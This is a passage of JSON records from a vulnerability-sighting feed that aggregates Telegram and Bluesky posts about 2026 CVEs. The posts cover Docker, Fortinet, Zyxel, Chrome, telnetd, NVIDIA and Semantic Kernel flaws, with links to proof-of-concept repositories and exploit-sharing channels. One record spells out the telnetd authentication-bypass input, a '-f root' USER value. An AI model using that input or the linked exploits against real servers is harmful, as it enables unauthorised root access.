Repository\n\u27a1\ufe0f https://github.com/mbanyamer/CVE-2026-26030-Microsoft-Semantic-Kernel-1.39.4-RCE\n\n\ud83e\udde0 Overview\nA vulnerability in Microsoft Semantic Kernel allows code execution via unsafe vector store handling. Public PoC confirms exploitability.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 AI / LLM pipeline compromise\n\u2022 Data processing abuse\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-34040\n\ud83c\udfaf Docker Engine \u2013 AuthZ Bypass \u2192 Privileged Container (RCE Chain)\n\n\ud83d\udd17 PoC / Exploit Context\n\u27a1\ufe0f https://github.com/moby/moby/security/advisories/GHSA-x744-4wpc-v9h2\n\n\ud83e\udde0 Overview\nA critical authorization bypass in Docker Engine allows attackers to bypass security plugins by sending oversized HTTP requests. The request body is truncated before validation, enabling malicious container creation with elevated privileges.\n\n\u2699\ufe0f Impact\n\u2022 Authorization bypass\n\u2022 Privileged container creation (root access)\n\u2022 Full host compromise via container escape\n\u2022 CI/CD & cloud infrastructure risk\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Firmware exploitation techniques\n\u2022 Browser memory corruption exploitation\n\u2022 SSTI \u2192 backend RCE chains\n\u2022 AI/LLM framework attack surface\n\u2022 Modern web framework bypass techniques\n\n\u26a0\ufe0f Intelligence Note\nCurrent GitHub trend:\n\u2022 Strict PoC validation required (fake links increasing)\n\u2022 Browser & AI-related vulnerabilities rising\n\u2022 RCE chains often start from logic bypass\n\u2022 Real exploit repos are limited but high quality\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:11.643616Z"}, {"uuid": "646afd47-121a-4d03-ba52-6fcb84c83c7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://t.me/CyberSecurityExploit/16968", "content": "\ud83d\udd25 Recent RCE & Security Research Highlights\n\n1\ufe0f\u20e3 CVE-2025-11730 \u2013 Zyxel ATP/USG Series RCE\nRCE via DDNS configuration abuse in Zyxel ATP/USG firewalls.\nPoC demonstrates remote command execution through crafted DDNS requests.\n\ud83d\udc49 Critical network edge device vulnerability, high risk in enterprise environments.\n\nBlog : https://rainpwn.blog/blog/cve-2025-11730\nPoC : https://github.com/rainpwn/exploits/blob/main/zyxel/rainpwn_cve-2025-11730_ddns_rce.py\n\n\n2\ufe0f\u20e3 CVE-2026-25049 \u2013 n8n RCE (Deep Dive)\nRemote code execution in n8n workflow automation platform.\nAttackers can execute arbitrary commands via vulnerable workflow handling.\n\ud83d\udc49 High impact for CI/CD, automation, and internal tooling environments.\n\n\ud83d\udd17 https://blog.securelayer7.net/cve-2026-25049\n\n\n3\ufe0f\u20e3 The RCE That AMD Won\u2019t Fix\nTechnical analysis of an RCE-class vulnerability affecting AMD components.\nIssue remains unpatched due to architectural and vendor constraints.\n\ud83d\udc49 Long-term risk: unfixable bugs become permanent attack surface.\n\n\ud83d\udd17 https://web.archive.org/web/20260205155934/https://mrbruh.com/amd\n\n\n4\ufe0f\u20e3 CVE-2026-24858 \u2013 Fortinet FortiCloud SSO Admin Bypass\nAuthentication bypass allowing administrative access to FortiCloud SSO.\nSuccessful exploitation grants elevated privileges without valid credentials.\n\ud83d\udc49 Identity and access control failure \u2014 high-value target for attackers.\n\n\ud83d\udd17 https://github.com/absholi7ly/CVE-2026-24858-FortiCloud-SSO-Authentication-Bypass\n\n\n5\ufe0f\u20e3 CVE-2026-25587 / CVE-2026-25641 \u2013 SandboxJS Sandbox Escape\nSandbox escape vulnerabilities in SandboxJS leading to code execution.\nBreaks isolation guarantees intended to safely run untrusted JavaScript.\n\ud83d\udc49 Sandbox escapes often lead directly to full RCE chains.\n\n\ud83d\udd17 https://github.com/advisories/GHSA-66h4-qj4x-38xp\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\n\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:29.881874Z"}, {"uuid": "c27d7229-7ca5-46af-ae1a-0d2032f4487c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "Telegram/7wZCC-BUXTpDWEW7jClwGONwAUYxvq3XR6pqbqp3HRrJIC0", "content": "", "creation_timestamp": "2026-07-16T19:00:12.935811Z"}, {"uuid": "8b8c9d31-708e-4561-9d4d-6f615c498b82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "Telegram/Z_LovNj_LGg89Xdb85Ncg0gPVvljsBTAp4HPBtfrCi2Mibg", "content": "", "creation_timestamp": "2026-07-16T19:00:20.451232Z"}, {"uuid": "a73dc529-e0d1-4b4b-aacb-b48062ea50c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24207", "type": "seen", "source": "Telegram/dcvnlPtme4toLhl6Y7gsUQmfY2Ti7NQRDDTHFXbH9N-MMUg", "content": "", "creation_timestamp": "2026-07-16T19:00:31.351727Z"}, {"uuid": "8930db75-26b8-4ba4-bf92-74fff693704f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24418", "type": "seen", "source": "Telegram/V5mTmbk9lnTnZ4jN3rhRcXNWqgo23Po-CHoFPn2rBCSBzO0", "content": "", "creation_timestamp": "2026-07-16T19:00:28.118448Z"}, {"uuid": "7f508024-eaf1-4144-b025-ffc3f7841593", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "Telegram/7wZCC-BUXTpDWEW7jClwGONwAUYxvq3XR6pqbqp3HRrJIC0", "content": "", "creation_timestamp": "2026-07-17T00:00:28.273917Z"}, {"uuid": "ae356f96-26cc-4b9d-9e62-a92fddfedb4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "Telegram/Z_LovNj_LGg89Xdb85Ncg0gPVvljsBTAp4HPBtfrCi2Mibg", "content": "", "creation_timestamp": "2026-07-17T00:00:36.844475Z"}, {"uuid": "0153ed7a-e232-4493-9065-c02e8e1c44e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24418", "type": "seen", "source": "Telegram/V5mTmbk9lnTnZ4jN3rhRcXNWqgo23Po-CHoFPn2rBCSBzO0", "content": "", "creation_timestamp": "2026-07-17T00:00:45.027679Z"}, {"uuid": "7a4b6b51-4c75-4bdd-bd51-547da27c7529", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24207", "type": "seen", "source": "Telegram/dcvnlPtme4toLhl6Y7gsUQmfY2Ti7NQRDDTHFXbH9N-MMUg", "content": "", "creation_timestamp": "2026-07-17T00:00:48.157683Z"}, {"uuid": "a5e28329-e1da-4956-9f4d-5156e477a427", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24227", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqstmpirax2a", "content": "CVE-2026-24227 - tensorrt\nNVIDIA TensorRT is affected by a vulnerability that could allow an attacker to inject and execute malicious code. This could happen if a user is tricked into processing untrusted\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#tensorrt #nvidia #CVE #infosec", "creation_timestamp": "2026-07-17T03:46:04.636831Z"}, {"uuid": "28f7a258-460e-425d-a670-058e8c30ba40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24301", "type": "seen", "source": "https://bsky.app/profile/shopkeyonline.bsky.social/post/3mttv4kreq62b", "content": "One click on a Copilot link is all it takes. The CoSnitch flaw (CVE-2026-24301) lets attackers silently pull emails, files, and calendar data from your connected apps \u2014 no warning, no second click. Shop Key Online breaks down what happened and how to stay safe \ud83d\udd12", "creation_timestamp": "2026-08-24T18:01:05.820145Z"}, {"uuid": "356b1940-fc65-4160-89c7-95e784f89523", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "Telegram/7wZCC-BUXTpDWEW7jClwGONwAUYxvq3XR6pqbqp3HRrJIC0", "content": "", "creation_timestamp": "2026-07-18T00:00:43.903181Z"}, {"uuid": "72c4e972-e08e-4304-93ab-b608e6834cde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24418", "type": "published-proof-of-concept", "source": "Telegram/V5mTmbk9lnTnZ4jN3rhRcXNWqgo23Po-CHoFPn2rBCSBzO0", "content": "", "creation_timestamp": "2026-07-18T01:00:03.632886Z"}, {"uuid": "83adb2da-d35c-4a96-8640-c05ea42b5f44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "Telegram/Z_LovNj_LGg89Xdb85Ncg0gPVvljsBTAp4HPBtfrCi2Mibg", "content": "", "creation_timestamp": "2026-07-18T01:00:10.193615Z"}, {"uuid": "1ce69fc2-3592-4cb8-8624-ec7c35797849", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24207", "type": "published-proof-of-concept", "source": "Telegram/dcvnlPtme4toLhl6Y7gsUQmfY2Ti7NQRDDTHFXbH9N-MMUg", "content": "", "creation_timestamp": "2026-07-18T04:00:03.213791Z"}, {"uuid": "85d441d2-2ecb-4be6-a7fa-f2e08b12f8a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "Telegram/BMLRzi6GxNLh9Y-kste7qnOEyxUjpKwyZDAyz25BJw9R9vo", "content": "", "creation_timestamp": "2026-08-27T14:00:12.167073Z"}, {"uuid": "e446e5e8-6756-4ad2-87fc-3fb134a5d639", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/cve0day/261", "content": "CVE-2026-24061\n\ntelnetd in GNU Inetutils through 2.7 allows remote authentication bypass via a \"-f root\" value for the USER environment variable.\n\nGitHub Link:\nhttps://github.com/setuju/telnetd", "creation_timestamp": "2026-08-28T00:00:41.707204Z"}, {"uuid": "75abc945-9ce9-4520-828f-8205be5c2f11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24072", "type": "published-proof-of-concept", "source": "Telegram/uFKuhzjL4w1ghh9qImWl4mkE9uG6FMJvqHn56zexlO-GvjE", "content": "", "creation_timestamp": "2026-08-27T14:00:12.725588Z"}, {"uuid": "190ba7d5-8437-4730-bce9-6e112dc45d60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24688", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/438", "content": "CVE-2026-24688\n\npypdf is a free and open-source pure-python PDF library. An attacker who uses an infinite loop vulnerability that is present in versions prior to 6.6.2 can craft a PDF which leads to an infinite loop. This requires accessing the outlines/bookmarks. This has been fixed in pypdf 6.6.2. If projects cannot upgrade yet, consider applying the changes from PR #3610 manually.", "creation_timestamp": "2026-08-28T00:00:37.030518Z"}, {"uuid": "0254f336-8204-4638-bcd1-c61856c1d794", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24072", "type": "published-proof-of-concept", "source": "Telegram/uFKuhzjL4w1ghh9qImWl4mkE9uG6FMJvqHn56zexlO-GvjE", "content": "", "creation_timestamp": "2026-08-28T00:00:43.930644Z"}, {"uuid": "674171d0-f87a-47e9-b8ef-b98cf6053def", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24207", "type": "published-proof-of-concept", "source": "Telegram/dcvnlPtme4toLhl6Y7gsUQmfY2Ti7NQRDDTHFXbH9N-MMUg", "content": "", "creation_timestamp": "2026-07-19T00:00:29.488230Z"}, {"uuid": "465d73bc-3f6a-4815-be2c-faaa2ba13192", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24418", "type": "published-proof-of-concept", "source": "Telegram/V5mTmbk9lnTnZ4jN3rhRcXNWqgo23Po-CHoFPn2rBCSBzO0", "content": "", "creation_timestamp": "2026-07-19T00:00:41.285160Z"}, {"uuid": "237d07aa-831b-46b1-bdfe-84ac878a679d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/18956", "content": "Fortinet Patches CVE-2026-24858 After Active FortiOS SSO Exploitation Detected \u2013 thehackernews.com\n\nWed, 28 Jan 2026 12:49:00", "creation_timestamp": "2026-07-19T16:00:06.483790Z"}, {"uuid": "4f63014d-38b7-4923-a59f-bc727919a38d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/19338", "content": "New Chrome Zero-Day (CVE-2026-2441) Under Active Attack \u2014 Patch Released \u2013 thehackernews.com\n\nMon, 16 Feb 2026 14:38:00", "creation_timestamp": "2026-07-19T16:00:06.633337Z"}, {"uuid": "80e79ac7-620a-40f0-9ba9-2bec107c327c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/19338", "content": "New Chrome Zero-Day (CVE-2026-2441) Under Active Attack \u2014 Patch Released \u2013 thehackernews.com\n\nMon, 16 Feb 2026 14:38:00", "creation_timestamp": "2026-07-20T00:00:20.586896Z"}, {"uuid": "0b878984-3b2d-4215-bda5-41b3d1155eea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/18956", "content": "Fortinet Patches CVE-2026-24858 After Active FortiOS SSO Exploitation Detected \u2013 thehackernews.com\n\nWed, 28 Jan 2026 12:49:00", "creation_timestamp": "2026-07-20T00:00:20.742313Z"}, {"uuid": "7a0d2dd9-e75a-4fdc-95e2-39a0fb405e38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24155", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mr2hcpkycs2z", "content": "AI\u958b\u767a\u5411\u3051\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u300cNVIDIA NeMo\u300d\u306b\u8907\u6570\u8106\u5f31\u6027\n\nNVIDIA\u306f\u3001AI\u958b\u767a\u5411\u3051\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u300cNVIDIA NeMo Framework\u300d\u306b\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u898b\u3064\u304b\u3063\u305f\u3068\u3057\u3066\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u305f\u3002\n\n\u73fe\u5730\u6642\u95932026\u5e746\u670816\u65e5\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u60c5\u5831\u3092\u516c\u958b\u3057\u30013\u4ef6\u306e\u8106\u5f31\u6027\u300cCVE-2026-24155\u300d\u300cCVE-2026-24252\u300d\u300cCVE-2026-24228\u300d\u3078\u5bfe\u51e6\u3057\u305f\u3053\u3068\u3092\u660e\u3089\u304b\u306b\u3057\u305f\u3082\u306e\u3002\n\n\u300cCVE-2026-24155\u300d\u306f\u3001\u30b3\u30fc\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u3002\u60aa\u7528\u3055\u308c\u308b\u3068\u30b3\u30fc\u30c9\u306e\u5b9f\u884c\u3084\u6a29\u9650\u306e\u6607\u683c\u3001\u60c5\u5831\u6f0f\u6d29\u3001\u30c7\u30fc\u30bf\u6539\u3056\u3093\u306b\u3064\u306a\u304c\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u3002\u3059\u3079\u3066...", "creation_timestamp": "2026-07-20T04:27:04.739677Z"}, {"uuid": "2882fdfe-3d42-463a-9a7a-9a5680059b0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24252", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mr2hcpkycs2z", "content": "AI\u958b\u767a\u5411\u3051\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u300cNVIDIA NeMo\u300d\u306b\u8907\u6570\u8106\u5f31\u6027\n\nNVIDIA\u306f\u3001AI\u958b\u767a\u5411\u3051\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u300cNVIDIA NeMo Framework\u300d\u306b\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u898b\u3064\u304b\u3063\u305f\u3068\u3057\u3066\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u305f\u3002\n\n\u73fe\u5730\u6642\u95932026\u5e746\u670816\u65e5\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u60c5\u5831\u3092\u516c\u958b\u3057\u30013\u4ef6\u306e\u8106\u5f31\u6027\u300cCVE-2026-24155\u300d\u300cCVE-2026-24252\u300d\u300cCVE-2026-24228\u300d\u3078\u5bfe\u51e6\u3057\u305f\u3053\u3068\u3092\u660e\u3089\u304b\u306b\u3057\u305f\u3082\u306e\u3002\n\n\u300cCVE-2026-24155\u300d\u306f\u3001\u30b3\u30fc\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u3002\u60aa\u7528\u3055\u308c\u308b\u3068\u30b3\u30fc\u30c9\u306e\u5b9f\u884c\u3084\u6a29\u9650\u306e\u6607\u683c\u3001\u60c5\u5831\u6f0f\u6d29\u3001\u30c7\u30fc\u30bf\u6539\u3056\u3093\u306b\u3064\u306a\u304c\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u3002\u3059\u3079\u3066...", "creation_timestamp": "2026-07-20T04:27:04.784407Z"}, {"uuid": "10b62859-cf74-4880-a34c-0688114e6b31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24228", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mr2hcpkycs2z", "content": "AI\u958b\u767a\u5411\u3051\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u300cNVIDIA NeMo\u300d\u306b\u8907\u6570\u8106\u5f31\u6027\n\nNVIDIA\u306f\u3001AI\u958b\u767a\u5411\u3051\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u300cNVIDIA NeMo Framework\u300d\u306b\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u898b\u3064\u304b\u3063\u305f\u3068\u3057\u3066\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u305f\u3002\n\n\u73fe\u5730\u6642\u95932026\u5e746\u670816\u65e5\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u60c5\u5831\u3092\u516c\u958b\u3057\u30013\u4ef6\u306e\u8106\u5f31\u6027\u300cCVE-2026-24155\u300d\u300cCVE-2026-24252\u300d\u300cCVE-2026-24228\u300d\u3078\u5bfe\u51e6\u3057\u305f\u3053\u3068\u3092\u660e\u3089\u304b\u306b\u3057\u305f\u3082\u306e\u3002\n\n\u300cCVE-2026-24155\u300d\u306f\u3001\u30b3\u30fc\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u3002\u60aa\u7528\u3055\u308c\u308b\u3068\u30b3\u30fc\u30c9\u306e\u5b9f\u884c\u3084\u6a29\u9650\u306e\u6607\u683c\u3001\u60c5\u5831\u6f0f\u6d29\u3001\u30c7\u30fc\u30bf\u6539\u3056\u3093\u306b\u3064\u306a\u304c\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u3002\u3059\u3079\u3066...", "creation_timestamp": "2026-07-20T04:27:04.824838Z"}, {"uuid": "e5dc9d5f-e201-4f1e-90c7-09c8814ab267", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "Telegram/v_quhm6TSY4WUmlViGfERUVGMhLLXIbM3Xnwg_0w-GH3K6g", "content": "", "creation_timestamp": "2026-07-20T05:00:04.461723Z"}, {"uuid": "d5e7b3b7-4be5-4a15-9f5a-627338525a2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24188", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mr37dqxn6o2s", "content": "\ud83d\udccc CVE-2026-24188 - NVIDIA TensorRT contains a vulnerability where an attacker could cause an out-of-bounds write. A successful exploit of this vulnerability might lead t... https://www.cyberhub.blog/cves/CVE-2026-24188", "creation_timestamp": "2026-07-20T11:37:07.004323Z"}, {"uuid": "f59232db-1f40-411d-8675-a51a9a41b187", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2445", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mr3a3zcstq2j", "content": "CVE-2026-2445 - Reflected Cross-Site Scripting via URL Parameter in Multiple WSO2 Products Enables UI Redirection and Modification\nCVE ID : CVE-2026-2445\n \n Published : July 20, 2026, 8:16 a.m. | 3\u00a0hours, 27\u00a0minutes ago\n \n Description : The affected product accepts user-suppli...", "creation_timestamp": "2026-07-20T11:50:41.215153Z"}, {"uuid": "dd12f04d-951b-4e42-8181-778c4b245b57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/9854", "content": "Fortinet Patches CVE-2026-24858 After Active FortiOS SSO Exploitation Detected \u2013 thehackernews.com\n\nWed, 28 Jan 2026 12:49:00", "creation_timestamp": "2026-07-20T19:00:05.403255Z"}, {"uuid": "fa845120-3809-4ba0-b328-d3e950454c4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/proxy_bar/3095", "content": "CVE-2026-24061\n*\nAllinONE", "creation_timestamp": "2026-07-20T19:00:08.527096Z"}, {"uuid": "55c30adf-6497-4dfc-ac67-6397ebee420f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/proxy_bar/3098", "content": "CVE-2026-24061 \n*\nTelnet RCE Exploit \ud83d\ude43", "creation_timestamp": "2026-07-20T19:00:08.557280Z"}, {"uuid": "99ee5081-37b2-4f6f-90fd-e58bcaa20ac1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/10235", "content": "New Chrome Zero-Day (CVE-2026-2441) Under Active Attack \u2014 Patch Released \u2013 thehackernews.com\n\nMon, 16 Feb 2026 14:38:00", "creation_timestamp": "2026-07-20T19:00:05.152660Z"}, {"uuid": "42b41b0c-0806-4c78-af47-6f59b812b815", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://t.me/proxy_bar/3153", "content": "CVE-2026-2441 \u2014 Chrome \n*\nPoC", "creation_timestamp": "2026-07-20T19:00:07.828014Z"}, {"uuid": "7b4f1357-8c6d-4868-8625-98f88bfe97a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24770", "type": "seen", "source": "Telegram/WS-hYEtdIfZSQjyhvqhHuMm-qpPoDr-hpgTUMrVXQIjtkw", "content": "", "creation_timestamp": "2026-07-20T19:00:11.899208Z"}, {"uuid": "d2d11bfc-ce74-4768-a034-01c4e67b2615", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "Telegram/Nk8oqZX6swvt48pLr8k2ylfZzKUt7GAHf9fsXfnE8IvlKg", "content": "", "creation_timestamp": "2026-07-20T19:00:11.973197Z"}, {"uuid": "a4872c4c-32c2-48aa-8125-289df6cf1a34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2472", "type": "seen", "source": "https://t.me/proxy_bar/3168", "content": "CVE-2026-2472 \n*\nUnauthenticated and Stored Cross-Site Scripting (XSS) in google-cloud-aiplatform _genai/_evals_visualization (Vertex AI Python SDK) affecting Jupyter/Colab. \n*\nTechnical PoC", "creation_timestamp": "2026-07-20T20:00:08.847134Z"}, {"uuid": "893694b2-2b11-40b7-a33d-3d5d199c9458", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/10235", "content": "New Chrome Zero-Day (CVE-2026-2441) Under Active Attack \u2014 Patch Released \u2013 thehackernews.com\n\nMon, 16 Feb 2026 14:38:00", "creation_timestamp": "2026-07-21T00:00:19.541963Z"}, {"uuid": "a2a712c2-80b5-4b78-8533-7b615b27fcbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/proxy_bar/3095", "content": "CVE-2026-24061\n*\nAllinONE", "creation_timestamp": "2026-07-21T00:00:27.160965Z"}, 